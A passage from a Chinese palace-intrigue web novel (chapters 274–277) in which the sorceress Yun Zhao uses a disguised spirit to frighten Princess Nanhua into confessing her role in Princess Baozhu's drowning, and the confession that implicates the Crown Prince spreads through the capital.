“宝珠”却在这时,皱了皱挺翘的鼻子,对着陆倩波开口了。
那声音娇脆中带着不满,与记忆里分毫不差:“好哇!躲了三年,叫我好找!还真是你害得我!”
陆倩波本就刚被强行唤醒,神智如同浸了水的宣纸,模糊脆弱,此刻被这亡魂当面质问,仅存的理智“铮”一声彻底崩断。
她吓得魂飞魄散,竟是飞身从椅子上跃起,踉跄着躲到茶桌后面,双臂紧紧抱住桌腿:
“不是我!是你自己太蠢,是你……是你非要逞能!”
她语无伦次地尖声反驳,眼神却惊恐地黏在“宝珠”身上,无法移开。
“宝珠”向前飘了半步,那双亮得惊人的眼睛盯着陆倩波,语气里透出孩童不该有的森然:
“难道不是你,命你身边那个叫‘翠浓’的丫鬟,故意到我面前说那些话,诱我出手救人?”
她又逼近些许,小小的身影带来山岳般的压力:
“难道不是你,心怀嫉妒,故意设局,想要借刀杀人,让我永远消失?”
如果陆倩波此时敢抬头细看,或许能瞥见,“宝珠”那乌黑澄澈的眼瞳深处,有一丝红光如游鱼般倏忽闪过。
然而她太害怕了,听到“借刀杀人”时,她歇斯底里地大叫起来:
“是我!是我又怎样!我就是嫉妒你!我就是讨厌你!”
她撑着桌子站起来,胸口剧烈起伏,双目死死瞪着那抹鹅黄色的娇俏身影“卫宝珠!我究竟哪里比不上你!”
“论容貌,你与我也是伯仲之间!”
“论尊崇,你我同是陛下亲封的郡主,食邑相同!
我爹爹是手掌实权的安亲王,你爹爹虽是驸马,却只是个清贵闲职!论起来,我比你更尊贵!”
“论骑术!我有八个顶尖的骑术师父日夜教导,所有人都夸我天资不凡,假以时日必成大器!
凭什么只要出了安王府,只要和你站在一起,我就平白矮你一头?
你若不是长公主的女儿,你看那些人还会那般谄媚讨好你吗?”
“倩波!你到底在胡说些什么?!”薛静姝听得心惊肉跳,失声惊呼。
她顺着女儿恐惧癫狂的视线望去——
云昭身旁,空空如也,只有烛火投下的、微微晃动的影子。
哪里有什么宝珠?
第274章 这鬼,道行高啊
可倩波却对着那片虚空,喊出了已死去三年的嘉乐郡主的名讳……
不止薛静姝,室内侍立的嬷嬷、丫鬟们也都吓得面无人色,彼此交换着惊恐的眼神。
奶嬷嬷更是老泪纵横,忍不住“扑通”一声跪了下来:“
莫不是方才的咒法出了岔子,引得邪祟入了郡主体内?
我们郡主从前只是性子骄纵些,可现在……现在这……”
她不敢说下去,但那意思再明白不过——
郡主这般行迹,简直是疯魔了!
这比之前痴痴傻傻,更叫人胆寒!
陆擎面色铁青,威严的目光如电射向云昭,带着沉沉的审视之意。
薛静姝更是急怒攻心,所有的疑虑和不安在这一刻爆发,她劈手指向云昭,声音因激动而颤抖:
“姜云昭——!你是不是施了什么邪法,害我女儿……”
“噤声!”
云昭侧眸看向薛静姝,目光平静无波,却让后者心头莫名一凛。
“第一,”云昭一字一顿,清晰无比,
“我已不姓姜。我自请脱离姜家族谱,此事满京城皆知。
还请安王妃,勿要再犯我忌讳。”
“其二,”她目光扫过面色各异的众人,最终落回陆擎脸上,
“我有言在先,这‘引魂叩心’之术,我也是首次对昏迷之人施展。
郡主神魂被困多日,甫一归位,会看到什么,忆起什么,引出何种心魔执念,皆在未知之数。
眼下情形,究竟是好是坏,我亦在观察。”
说着,她再次看向躲在桌后的陆倩波,语气微妙:
“况且,方才南华郡主开口提到‘宝珠’,提及三年前旧事细节……
依我看,这未必是疯魔,反而是术法起效的证明。
只不过,术法恰巧引动了她内心最深刻的记忆。”
长公主拢在袖间的手指攥得发白,声音沙哑道:
“不错。本宫听得清楚,南华郡主方才所言件件属实,俱是三年前旧事。
安王妃,事关本宫爱女惨死疑团,今日昭儿若要问话,谁也别想阻挠!”
驸马卫临在一旁紧紧握着妻子的手,双目通红,死死盯着陆倩波。
薛静姝被长公主的气势所慑,又听云昭说得似乎有理,一时心乱如麻。
方才倩波提到的“穿云弓”一事,确是三年前发生过的,那弓当日便赐给了嘉乐郡主。
为此,倩波还闹了好一阵脾气,她都是知道的。
可女儿嘶吼的模样,也实在太过骇人。
那些话语里透出的浓烈嫉恨与隐隐指控,更让她心头发冷。
一股强烈的不安,宛如冰水,正缓缓浸透四肢百骸。
就在这时,方才还惊恐万状、躲在桌后的陆倩波,不知受了什么刺激,脸上恐惧竟慢慢被一种戾气取代。
“卫宝珠……”她声音压低,带着一种诡异的亢奋,“我想起来了,你早就死了!
三年前就死了!没人知道你尸身泡在何处!
一个死鬼,一个水里的烂泥鳅!你在这牛气什么?!”
她猛地抬手,指向一直静观其变的云昭,眼中闪过狠色:
“你看清楚了!她可是玄师!专收厉鬼邪祟!
信不信我现在就让她收了你!打得你魂飞魄散,永世不得超生!”
“宝珠”鲜红如樱桃的小嘴儿微微一抿,露出了一个不乐意的表情,骄纵之气溢于言表:
“哼!本郡主如今确实是鬼。
可阎君老爷有令,念我死的冤屈,特许我魂魄暂留,有机会重回人间——”
她拖长了调子,孩童的嗓音却说着森然的内容,“有冤抱冤,有仇报仇!”
陆倩波刚想梗着脖子喊“我才不怕你一个死鬼”,下一瞬,却见那“宝珠”忽而身形一晃!
鹅黄的衫子仿佛被无形的湖水浸透,瞬间变得颜色深暗,紧贴在她小小的身軀上。
原本梳得整齐可爱的双丫髻散落开来,乌黑的长发湿漉漉地披散下来,不断滴落着浑浊的水滴,在地面晕开深色的水渍。
那张红润娇俏的小脸变得惨白浮肿,嘴唇泛着青紫,一双大眼睛空洞地望过来,里面只有无尽的幽寒。
“陆姐姐。”
“宝珠”开口,声音变得飘忽断续,带着水泡翻涌的咕噜声,
“你可知道冬天的水,有多冷,多黑。我泡在水里,喊不出,挣不脱……
一切都是因为你……”
“又不是我推你进水!”
陆倩波嚷嚷出这一句,转身就跑,试图远离那个如影随形的水鬼!
可她跑到东,“宝珠”就幽幽飘到东;
她躲到西,那湿冷的气息就贴到西。
绝望之中,陆倩波眼中慌乱闪烁,忽地瞥见始终沉稳立在室中央的云昭。
“救我!”她凄声尖叫,竟是不管不顾,径直朝着云昭猛冲过来。
云昭不闪不避,任由陆倩波撞向自己身侧。
紧接着,让陆倩波魂飞魄散的一幕发生了!
云昭不躲避,那“宝珠”的鬼魂竟也丝毫不惧云昭周身的玄师气息!
反而如轻烟般倏地蹿上了云昭的肩头,一双湿漉漉的小手虚搭着云昭的衣领。
那张浮肿青紫的脸从云昭颈侧探出,对着近在咫尺的陆倩波,咧开一个无声的狰笑!
“啊——!”
陆倩波彻底崩溃,两腿一蹬,一滩黄色的水渍缓缓从身下淌出。
一股腥臊之气,瞬间蔓延开来。
在场的嬷嬷婢女,见到这情形,彼此对视一眼,纷纷低垂下头。
无人敢上前触这霉头!
主子当众受辱,当奴才的没那个本事帮忙遮掩,最好的办法就是装看不见。
陆倩波涕泪横流地朝着薛静姝和陆擎伸出手:
“娘!爹爹!快让她收了这小鬼!快啊!”
薛静姝看得心胆俱裂,女儿一路嘶喊、扑跌,可在她眼中,云昭身侧肩头根本空无一物!
她想上前抱住女儿,又惧于眼前无法理解的诡异场面,只得将惶急无助的目光投向云昭,声音带了哭腔:
“云司主,这、这到底……”
云昭故意蹙了蹙眉,仿佛在凝神感知什么,片刻后,她缓缓摇头,声音带着一缕凝重:
“若是寻常鬼物阴灵,我不可能毫无感应,更不可能看不见。除非……”
她顿了顿,目光如冷电般,扫向瘫软在地的陆倩波:
“敢问南华郡主,你口口声声‘宝珠’在此。
你究竟看到了什么?形容给我听听。”
此言一出,满室皆寂。
满府下人全都看向了陆倩波。
一股寒意从每个人脚底窜上头顶——
真的只有郡主一个人能看见?
嘉乐郡主死了三年,几个月前终于在云司主的帮助下,寻到了小郡主的尸身。
长公主更是亲自前往碧云寺,为小郡主祈福盼其往生极乐,此事满京皆知。
如今,他们府上的南华郡主昏迷数日,痴呆月余,今日清醒之后,却张嘴闭嘴都是宝珠郡主的事……还一副心虚畏惧的模样。
此事,实在不能怪人多想。
陆倩波嘴唇哆嗦得如同风中落叶,牙齿咯咯作响,哪里还说得出完整的形容。
她方才忙乱恐惧未曾留意,此刻瘫在地上,目光惶然四扫,这才骇然发现——
不仅长公主和驸马卫临俱在堂前;
连她自小爱慕的秦王萧启,竟也不知何时坐在了角落,正用那双深不见底的眸子,静静地看着这一切。
被这么多双眼睛注视着,甚至看光了自己方才的窘状,陆倩波又愧又怕,又羞又急,一股邪火混着极致的恐惧冲上头顶。
她猛地用手撑地,强自直起身,指着云昭肩头方向,尖声道:
“她就趴在你肩上!湿淋淋的,脸都泡烂了!你看不见吗?!你不是很厉害吗?!你装什么蒜!”
云昭对她的指控恍若未闻,反而顺着她指的方向,微微侧头,仿佛在仔细聆听什么。
片刻后,她忽而抬手,指尖快速掐算,口中喃喃低语:
“阴气聚而不散,怨念指向分明,却无形无质,不入我眼……”
她抬起眼,看向陆倩波,半分不掩眸中嘲弄:
“只有你瞧得见,这便说明,它是专程来找你一人寻仇的。而她能做到让我都瞧不见,只能说明……”
云昭刻意停顿,吸了一口气,缓缓道,“这鬼,道行高啊。”
“南华郡主,”云昭向前半步,微微俯身,目光如炬,盯住陆倩波收缩的瞳孔,
“你方才瞧见的,当真是宝珠郡主吗?
若真是它,我倒也有一法,以术为引,令宝珠现形。
宝珠郡主到底有何冤屈,又为何偏偏要纠缠与你,让她自己亲口道来。
如此既能验证郡主所见虚实,亦可省去诸多猜疑口舌,直接查明真相,岂不一举三得?”
“她是鬼!是恶鬼!”陆倩波一听要让“宝珠”当众显形开口,当即吓得魂飞魄散,她嘶喊着,
“我是人!活生生的人!人鬼殊途!你不是懂什么金针之术吗?
你直接灭了她!收了她!让她再也说不出话,近不了身就行了!废什么话!”
“大胆!”一直强忍悲愤的长公主再也按捺不住,猛地拍案而起。
那张保养得宜的面容因怒极而微微扭曲,凤目中寒光迸射,
“陆倩波!你说要收了谁?!要灭了谁?!本宫的宝珠,也是你能张口就‘灭’、闭口就‘收’的?!”
第275章 冤有头,债有主!
陆倩波被盛怒的长公主吓得一哆嗦!
看到父亲沉郁的脸色,她嘴巴一瘪,委屈恐惧齐齐涌上,下意识就想像往常一样,扑进母亲怀里寻求庇护。
谁知,那趴在云昭肩头的“宝珠”忽又幽幽开口:
“陆姐姐,你不愿说,我也不勉强你。
反正阎君大人给我的时辰还长……
不如,就把我当年在水底受过的苦,也让你好好感受一下?
只要让我心里这口气平了,说不定,我今晚就先放过你,且让你睡个安稳觉,明晚再来寻你玩,如何?”
“不要——!我不要!”陆倩波尖叫。
她猛地抱住头,疯狂摇晃,脱口喊道,
“冤有头,债有主!卫宝珠,你要报仇,为何不去寻你的太子表哥!
当年若不是他暗示我,我怎会想到只不过让翠浓传一句话,就能让你命丧黄泉!
我只是想让你受伤,让你受辱!让所有人都看你卫宝珠的笑话!我没想过要你死!”
死一般的寂静。
烛火噼啪一声爆响,映照着满室骇然巨震的面容。
长公主和卫临如遭雷击,猛地看向彼此,又死死盯住陆倩波。
秦王萧启隐在阴影中的面容,透着毫不掩饰的煞气。
薛静姝眼前一黑,几乎晕厥。
陆擎则是虎目圆睁,瞪着口不择言的女儿,一股寒气从心底最深处弥漫开来。
云昭静静地站着。
情急之下,陆倩波总算吐露了她所知道的全部真相。
但是,如若此事真是太子暗示南华郡主去做,就不会在青莲观与宝珠撞上,又在仓促中命人捉住宝珠,将其溺毙在莲池。
想来,那假借太子之名暗示陆倩波出手的,正是真正的幕后主使。
云昭肩头那抹“湿淋淋”的虚影,不知何时,已悄然消散无踪。
虚空之中,传来一道唯有她能听见的鬼语:“怎么样,我的演技还不错吧?”
阿措依的声音恢复了成年女子的慵懒微沙,还隐隐透着一股子得意劲儿。
“下次再有这么好玩的事,你可得第一个想着我。”
云昭唇角微翘,旋即,脸上浮现一抹震惊之色:“宝珠之死,竟与太子殿下有关?”
她看向陆擎和薛静姝:“王爷,王妃,南华郡主所言,实在出人意表。”
她故意摇头,叹了口气:“我今日施术,本意只是想探寻嘉乐郡主失踪前的一些旧事线索,
不曾想……事情竟如此复杂。事涉储君声誉,我可做不了主……”
她故意做出推脱之态。
“昭儿,你且退开。”长公主命道:“驸马,派人‘请‘南华郡主同行。
本宫要即刻进宫,面呈圣上!今夜,必要为宝珠讨一个明白!”
“不可!”陆擎和刚刚缓过一口气的薛静姝异口同声!
薛静姝猛地扑到近前,将神智恍惚的女儿紧紧搂在怀里。
“长公主殿下明鉴!我家倩波她是昏迷太久,魂魄受损,人都糊涂疯魔了!
方才那些,全是癔症鬼话,当不得真啊!
太子殿下可是宝珠的嫡亲表哥!情分深厚!
他怎可能授意倩波去戕害宝珠?这绝无可能!”
她一边说,一边用力摇晃着陆倩波:
“倩波!你快醒醒!嘉乐郡主是三年前上元灯节后失踪的!你刚才说的那些全是胡话!
你快告诉长公主,你刚才都是瞎说的!是被邪祟迷了心窍!”
陆擎也深吸一口气,强压住心头的惊涛骇浪,对长公主深深一揖,随即将目光投向云昭。
他生得高大英武,此刻朝云昭睇来,带着武将特有的压迫感:
“云司主,你方才自己也说,此术法你是初次施用,过程或有风险,效用亦因人而异。
倩波自醒来后,行迹疯癫,言语错乱,状若中邪。
她神智不清之下所说的这些,如何能够取信?
若仅凭此等虚妄之言便惊动圣驾、攀诬储君,只怕不仅于事无补,反会酿成大祸,牵连无辜!”
跪在一旁的奶嬷嬷连连磕头:“两位殿下明鉴!
老奴早就觉得不对劲,郡主醒来后这副模样,分明就是被那厉害的鬼魂儿给缠上了,失了心智啊!
她说的那些,全是没影儿的胡话!作不得数的!
我们郡主从前是骄纵些,可断没有害人的胆子,更别说牵扯到天家贵胄了!”
可除了这忠心护主的奶嬷嬷,满室侍立的丫鬟仆役,此刻全都死死低着头,连大气都不敢喘。
原本听到自家郡主可能牵涉进嘉乐郡主之死,已是惊魂未定,如今竟连当朝太子都被扯了进来……
这已不是内宅秘辛,而是足以掀翻朝堂、血流成河的泼天大案!
稍有不慎,听到便是死罪!
长公主闻言,怒极反笑,凤目中寒光凛冽:“大胆!陆擎!薛静姝——
你们夫妇二人,是要睁着眼睛说瞎话,为了维护这孽女,连皇家法度、天理公道都不顾了吗?
本宫的宝珠惨死三年,尸骨难寻,冤屈难伸!
如今好不容易有了线索,凶手亲口供认,尔等竟敢以‘疯癫’二字,就想轻飘飘遮掩过去?
你们安王府,好大的胆子!好硬的心肠!”
驸马卫临亦是面色铁青,他痛声道:“陆大将军!你我同朝为官,也曾并肩御敌!
我将你视为肱骨挚友!可你今日所为,实在令人心寒!”
陆擎脸色变幻,面对长公主夫妇的厉声斥责,他下颌线条绷紧,却并未退缩,反而更显出一种沉冷的坚持:
“殿下,驸马,陆某绝非有意包庇。正因事关重大,牵涉国本,才更需谨慎!
仅凭小女神智昏乱时的一面之词,如何能取信于陛下?如何能定储君之罪?
若就此贸然上达天听,引得朝局动荡,圣心震怒,后果谁人能担?
陆某身为臣子,亦知法度!
若他日查有实据,证明小女当真罪不可赦,陆某绝不姑息!
必亲自绑了她,交予朝廷法办!”
此言斩钉截铁,竟带着一股凛然之气。
一直冷眼旁观的云昭,闻言不由微微挑眉,多看了陆擎两眼。
听这番话,这陆擎倒不似那等一味护短、昏聩蛮横之辈,反而颇有几分就事论事、重证据、讲原则的刚直。
卫临听得陆擎后半句保证,胸中怒火稍缓,面色复杂地朝陆擎拱了拱手:
“陆大将军能作此承诺,卫某……深感敬佩。
但愿大将军,真能言行如一,不枉你我相交一场。”
一旁的薛静姝却因陆擎这番话,彻底炸了起来!
她猛地松开陆倩波,站起身,指着陆擎的鼻子,声音尖厉得几乎破音:
“陆擎!好啊!我算是看明白了!合着你早就看不上我们母女了!
如今逮着机会,就要联合外人,将我的倩波往死路上逼!你好狠的心肠!”
她情绪彻底失控,口不择言:“你少在这里满口仁义道德,假惺惺装什么大义灭亲!
你不就是知道苏凌云和离了,看到她女儿如今出息了,成了圣上眼前的红人,你就觉得我们母女碍眼了,配不上你安亲王府的门楣了是不是?”
她越说越激动,眼泪汹涌而出:“陆擎!你一年到头有几天在府里?你有几分心思放在我们母女身上?
倩波也是你的亲生骨肉!她如今遭此大难,你不思保护,反而要将她推出去顶罪!你简直冷血无情!禽兽不如!”
“安王妃!你逾矩了!”一直沉默旁观的秦王萧启,起身缓步从阴影中走出。
烛光映照着他俊美却异常冷肃的面容,声音不高,却带着不容置疑的威压,
“今日所论,乃南华郡主是否涉嫌戕害嘉乐郡主一案。是非曲直,自有公断。
王妃如此胡搅蛮缠,攀扯无关之人,实在于事无补,更有失体统。”
薛静姝正在气头上,又被“胡搅蛮缠”四字一激,竟连秦王也敢顶撞。
她猛地转向萧启,脸上泪痕混合着扭曲的恨意:
“怎么?秦王殿下,觉得我冒犯您未来的‘丈母娘’了是不是?
你想护着你的未婚妻,也不是这么个护法!
我看今日这就是一场精心设计的局!
是有人要借疯癫之言,构陷我安王府,攀咬太子殿下!”
她豁出去了,矛头直指云昭:“你深更半夜闯我安王府,到底安的什么心!
亏我方才那般信任你,允你施术!你却用此等恶毒咒法害我女儿!
你将倩波逼疯,让她满口胡言,你再行污蔑构陷之实!
我今日就要将你的恶行公之于众,让满京城的人都看看,你这所谓的玄术司主、未来的秦王妃,究竟是怎样的卑鄙嘴脸!”
云昭听着薛静姝句句咆哮,也不生气。
主要是因为薛静姝虽然胡搅蛮缠,却也说中了几分今夜真相。
她确实用了非常之法,让阿措依假扮宝珠,激得陆倩波口吐真言。
但陆倩波如果没做亏心事,也不会一见到宝珠幻影,就被吓成那副模样。
归根结底,还是她自作孽!
她看了眼一直低垂着头的南华郡主,淡声道:“安王妃这话,云昭着实听不懂。
我陷害南华郡主,于我有什么好处?逼疯她,我又能图谋什么?”
她轻轻摇头,语气带着一丝极淡的嘲讽,“倒是王妃与郡主,行事作风如出一辙。
当日南华郡主在碧云寺,无凭无据便开口污蔑我母亲;
今日安王妃您,又无故攀扯我母亲清誉。
贵府这般一脉相承的家教,实在令人大开眼界。”
“你——!”薛静姝被噎得面色紫涨,正要再骂。
陆擎却脸色骤然一沉,目光如电射向薛静姝,带着前所未有的厉色:“你给我住口!还嫌不够丢人现眼吗!”
薛静姝被他这从未有过的严厉眼神看得心中一颤,随即是更汹涌的委屈与愤怒。
压抑多年的猜忌与不甘彻底爆发:
“你瞪我?你为了她女儿这样瞪我?!
陆擎!你别以为我不知道!满京城谁不知道你当年与苏凌云两情相悦!
你心里从来就没放下过她!
如今她和离了,当上三品淑人了,你就觉得我们母女是绊脚石了是不是?
你这个负心薄幸的伪君子!我跟你拼了!”
第276章 心中无愧,则百邪不侵!
她哭喊着就要朝陆擎扑去,场面一时混乱不堪。
就在这混乱之际,云昭垂在身侧的指尖几不可察地轻轻一弹。
一缕极淡的灵力悄无声息地没入瘫坐在地的陆倩波眉心。
陆倩波浑身猛地一颤,“啊”地大叫一声,一脚狠狠踹开正试图安抚她的奶嬷嬷!
那老嬷嬷惨叫一声,肥胖的身躯如断线风筝般倒飞出去,重重撞在旁边的朱红立柱上,“噗”地喷出一口鲜血,当场昏死过去。
而陆倩波自己,则如同离弦之箭,猛地从地上弹起,披头散发,状若疯虎,径直冲开了拦在门口的丫鬟,朝着院外狂奔而去!
“倩波——!”薛静姝的哭骂戛然而止,惊恐大叫。
陆倩波却对身后的呼唤充耳不闻,她一路狂奔,竟直直朝着王府大门的方向跑去!
夜色中,她凄厉癫狂的喊叫声响彻安王府,甚至穿透高墙,传到了邻近的街巷:
“卫宝珠——!冤有头!债有主——!
你要报仇,就去东宫寻太子殿下!不要找我!不要缠着我——!
是太子!是太子害得你——!!!”
这石破天惊的喊叫,如同投入静湖的巨石,瞬间在深夜的京城街道上彻底炸开!
陆擎面色剧变,再也顾不上与薛静姝争执,厉声喝道:“快!拦住她!”
王府侍卫闻令而动,一时间脚步声、呼喝声乱成一片。
薛静姝也吓得魂飞魄散,提着裙摆就要追出去,可她养尊处优,哪里跑得过疯癫之下爆发潜力的女儿?
秦王萧启此时也沉声下令:“墨一,墨二。”
两名黑衣侍卫如鬼魅般现身。
“去,协助陆府之人,务必……护住南华郡主安危。”他语速平缓,目光却深不见底。
“得令!”墨一墨二躬身领命,瞬间消失在门外。
他们跟随主子日久,自然知道秦王方才那道命令背后的真意——
并非真要将南华郡主强行捉回,而是要“协助”她跑得更远些,喊得更大声些。
最好能让整个京城的人都听清楚,听明白。
这潭水,越浑越好。
云昭趁乱快步走到几乎站立不稳的长公主身边,伸手扶住她的胳膊,压低声音道:“义母,沉住气,随我来。”
她引着长公主一路往外,用仅有两人能听到的声音迅速道:
“义母方才也瞧见了,连薛静姝这等城府不深的人都懂得,用‘疯癫’来遮掩陆倩波的话。
若我们此刻真强行将人带进宫,与陛下和太子当面对质,且不说陛下会否相信一个‘疯子’的话,太子那边必有万全准备。
我们未必能如愿,反而可能打草惊蛇,授人以柄。”
她目光扫向府门外声音更冷:“我们且让她就这样跑出去,当着全城百姓的面,把她刚才的话再喊上几遍……
反正她已‘疯了’,说的尽是些‘疯话’。”
可这‘疯话’一旦传开,风言风语钻进太子耳朵里,太子会如何做,满朝文武会如何议论,陛下听闻后又会作何感想……
那可就由不得他们控制了。
如此流言蜚声,远比径直入宫告状,效果要来得好得多。
长公主也是浸淫宫廷多年的聪慧之人,瞬间明白了云昭的用意。
她眼中的悲痛与愤怒沉淀下来,化为一种冰冷的决断。
她忽然抬手,用力揉了揉自己的眼睛,将原本梳得一丝不苟的发髻扯乱,甚至用指甲在颧骨处用力一划!
下一刻,在人群慌乱奔跑的掩护下,只见长公主猛地朝着跑在最后面、正焦急追赶女儿的薛静姝方“踉跄”冲了过去!
“哎哟!”薛静姝只觉脚下一绊,惊呼一声,结结实实摔倒在地,摔得七荤八素。
而长公主也随之“跌倒”,但很快,她便自己站了起来。
她左侧脸颊上,赫然多了一道清晰红肿的掌印!
在昏暗光线下,显得尤为触目惊心!
长公主站直身体,仿佛不胜屈辱,抬手指着刚从地上爬起的薛静姝,泣声高喊:
“好个南华郡主!好个安王府
害我女儿性命在先,如今罪行败露,竟然还敢对本宫动手?
你们……你们真是无法无天!藐视皇族!本宫苦命的宝珠啊……”
话音未落,长公主双眼一闭,身体软软向后倒去,恰好被及时赶到的驸马接住,当场晕厥过去。
只留下脸上还带着泥污的薛静姝,目瞪口呆地站在原地。
一整夜。
从安王府门前的永宁巷,到道路两旁尽是夜市商贩的朱雀大街,陆倩波,一路疾跑,一路高呼:
“卫宝珠——!冤有头!债有主——!!!”
“你要报仇,就去东宫!去寻太子殿下——!不要找我!不要再缠着我——!”
摆馄饨摊子的老汉惊得勺子掉进锅里;
更夫忘了敲梆,张大嘴巴看着那疯癫的身影从眼前跑过。
尚未打烊的酒楼二楼,有窗户被推开,探出好奇又惊疑的脑袋。
这是咱普通老百姓能听的八卦吗?
难道这就是晚睡的好处?
流言,往往比疯子的脚步跑得更快。
尤其是当这“疯子”身份尊贵,喊出的内容又如此石破天惊之时。
直到一个多时辰后,安王府的亲卫和秦王手下“协助”的侍卫,才终于在靠近西市的一处暗巷角落里,找到了力竭瘫倒的陆倩波。
这位昔日金尊玉贵、飞扬跋扈的南华郡主,此刻状如乞丐,寝衣被刮破多处,赤足上伤痕累累。
她双目圆睁,口中兀自喃喃着含糊不清的“太子……宝珠……别过来……”。
嘴角甚至挂着一缕白沫,双腿软得像面条。
最终是被两名健壮仆妇硬架回来的。
然而,将状若疯癫的南华郡主寻回,远非麻烦的结束,恰恰是更大风暴的开始。
陆倩波那段“供词”嚷嚷得人尽皆知。
且不论朝野上下会如何看待安王府,单就陛下那里,安王府就必须给出一个足以平息天怒的交代!
更别提,一向深受帝宠、刚烈护短的长公主殿下,脸上顶着个鲜红的巴掌印,半夜晕倒在了安王府大门口!
任谁看了,都会认为是安王府心虚暴虐,居然对长公主动了手!
薛静姝双眼肿如核桃,她抱着女儿冰凉的身体,哭得上气不接下气:
“我就知道……那苏凌云的女儿,从来就没安好心!她跟她娘一样,都是祸水!
她这就是在替她娘报复我!
报复我嫁给了你!
她是要毁了我的倩波,毁了我们安王府啊!”
陆擎只觉得一个头两个大。
“够了!”他深吸一口气,强行压下翻涌的心绪,看向薛静姝,
“现在岂是说这些陈年旧怨的时候!你还不明白吗?安王府,要大祸临头了!”
薛静姝的哭声一滞,抬起泪眼,茫然又惊恐地看着他。
陆擎转身,看向窗外昏昧将明的天边:“我现在就必须立刻进宫,向陛下请罪!
无论如何,倩波深夜癫狂奔街,口出狂言,惊扰京师,攀诬储君,这都是我陆擎教女无方,治家不严之过!”
他猛地回身,目光灼灼地盯住薛静姝:
“你若还想保住女儿的性命,保住安王府上下几百口人,就擦干眼泪,整理仪容,带上倩波随我一同进宫!
去向陛下陈情请罪!或许还能挣得一线生机!”
“进宫?”薛静姝下意识地搂紧女儿,脸上写满抗拒,
“不行!真进了宫,我们怎么说?
说倩波疯了,说的都是胡话?可万一,万一她说的都是真的……”
她不敢往下想,浑身发抖。
陆擎走近两步,双手按住薛静姝颤抖的肩膀,迫使她看着自己的眼睛:
“云昭今夜所为,或许确有私心,有所图谋。
但她行的是阳谋!所有手段都摆在明处!
而且前提是——倩波她自己,当真做过那些不好的事!
心中无愧,则百邪不侵!
她若清清白白,云昭再如何算计,又能对她造成什么伤害?”
他顿了顿,继续道:
“至于长公主殿下和秦王殿下,我虽与他们交道不深,但也知他们皆是光明磊落、重视法理之辈。
他们若真想要了倩波的命,为宝珠郡主报仇……”
陆擎的眼中闪过一丝锐利的光,
“你以为,秦王麾下的‘玄影卫’是摆设吗?
他若真想杀一个深闺女子,何须费此周章,闹得满城风雨?”
薛静姝被他说得一愣。
陆擎看着妻子惶惑的脸,语气放缓,却更显沉重:“他们所求的,无非是一个公道!一个真相!
若倩波无辜,他们纵有迁怒,也断不会用此等构陷手段。但若……”
他闭了闭眼,复又睁开,里面是一片沉痛的清明,“若倩波真的如她癫狂时所喊,做过那等丧尽天良、构陷害命之事……
那么,她今日所受的惊吓,乃至将来可能受到的惩处,都是她应得的教训!
是天理昭彰,报应不爽!”
“可……可她是我们的女儿啊!”
薛静姝终于崩溃地哭出声,死死抓住陆擎的衣袖,“我怎么舍得她吃苦!怎么舍得她受罪!
万一真相真是那样,陛下、长公主、秦王……他们谁会放过她?
我们的女儿肯定讨不到好果子吃啊!”
“糊涂!”
陆擎低吼一声,猛地甩开她的手,脸上第一次露出近乎厉色的表情。
他盯着薛静姝,一字一顿:“你以为,现在最危险的是谁?”
他逼近一步,声音压得只有两人能听见,却带着毛骨悚然的寒意:
“如若宝珠郡主之死,真与太子有关联……哪怕只有一丝嫌疑——
你想想,太子殿下此刻,最想除掉、最不能放过的,会是谁?”
薛静姝猛地打了个寒战。
她张了张嘴,却发不出任何声音,只觉得一股灭顶的寒意,从脚底瞬间窜遍了全身。
陆擎看着她骤然明悟后惊恐万状的眼神,知道她终于懂了。
他不再多言,转身大步向外走去,只留下一句沉重如铁的命令:
“一刻钟,给倩波收拾妥当。我们全家一同进宫。”
第277章 尸身自燃,羽化登仙
御书房内,龙涎香的青烟从博山炉中袅袅逸出。
天光透过高窗,在地面投下冷白的光斑,将皇帝的身影拉得颀长而孤峭。
他负手立于御案前,明黄的常服衬得他脸色愈发沉郁。
案头堆叠的奏疏旁,静静躺着几样物件,皆是昨日从玄都观密室起出的证物。
“好一个清修之地,好一个得道高人!”皇帝的声音不高,却字字浸着寒意。
“朕将太后送往玄都观,本是盼着清静山门、晨钟暮鼓,能让她收了那些荒唐念头,安安生生颐养天年。
谁能想到,那妖道反倒是这一切魑魅魍魉的源头!”
他昨日亲眼见到被护送回宫的太后,虽在昏睡,但气色红润,肌肤紧致,诡异得令人心头发毛。
听禁卫详述玄都观内情形,太后一直嚷嚷着非说瞧见了玉衡真人,再亲眼见到那些浸泡在罐子里的东西……
一股被愚弄的怒火,便在胸中灼灼燃烧,几乎要焚尽理智。
更让他脊背生寒的是,玉衡曾多次在他面前,提及云昭命格“刑克六亲”,尤其不利夫君子嗣……
如今想来,哪里是什么天命卜算?
分明是蓄意离间,要拆散云昭与渊儿!
更可恨的是,当日太后也跟着起哄,口口声声说什么元懿皇后托梦!
必定是被这妖道蛊惑的!
下贱东西,真是其心可诛!
“祸乱宫闱,蛊惑太后,欺君罔上,其罪当诛九族!”皇帝从齿缝间挤出这句话,胸膛微微起伏,“朕已命人赶往潼川驿,即日将那妖道捉拿归案!”
至于太后……
再糊涂,再荒唐,那也是他的生身母亲,更是曾经在他荣登大宝时,出言力挺他的母亲!
她怎就这么无药可救,一而再、再而三地沾惹邪术,妄求什么长生不老!
想起母亲执迷不悟的模样,皇帝心中涌起一阵无力。
太后……这是逼着他不得不大义灭亲啊!
他深吸一口气,目光转向下首肃立的云昭与萧启,尤其在云昭的脸上停顿片刻:
“查明玄都观之事,揭露玉衡真面目,救出太后,你功不可没。朕只是不解,你是如何突然想到去查玄都观的?”
云昭敛衽一礼,声音清越:“回陛下,臣女不敢欺瞒。此事追根溯源,并非为了太后娘娘,而是源于……嘉乐郡主惨死一案。”
“宝珠?”皇帝眉头一皱。
“正是。”云昭抬眸,目光清澈,“宝珠郡主落水身亡已有三载,虽寻回尸骨,但真凶始终成谜,作案动机更是扑朔迷离。
长公主殿下为此日夜悬心,郁郁难解。
臣女便想尝试沟通地魂,或能寻得一线线索。”
“地魂?”皇帝神情骤然一动,眼底掠过一丝复杂光芒。
显然是想起了不久前,云昭沟通元懿皇后地魂,问卜她与萧启姻缘一事。
回想起当日的情形,至今仍让皇帝唏嘘。
若是……若是嫂嫂没有那么快离去就好了。
当日云昭曾说,元懿皇后骤然离开,有可能是生气了。
她因何动怒?
是因为觉察到了他就候在一旁,死生不愿再见;
还是说,气他识人不清,居然就轻信了玉衡的鬼话,想要取消云昭与渊儿的婚事?
想到这一层,皇帝心中对玉衡的恼怒又加深了一层。
云昭继续道:“或许是宝珠郡主冤魂不息,冥冥中有灵指引。
臣女循着些许感应,最终一路寻到了玄都观。
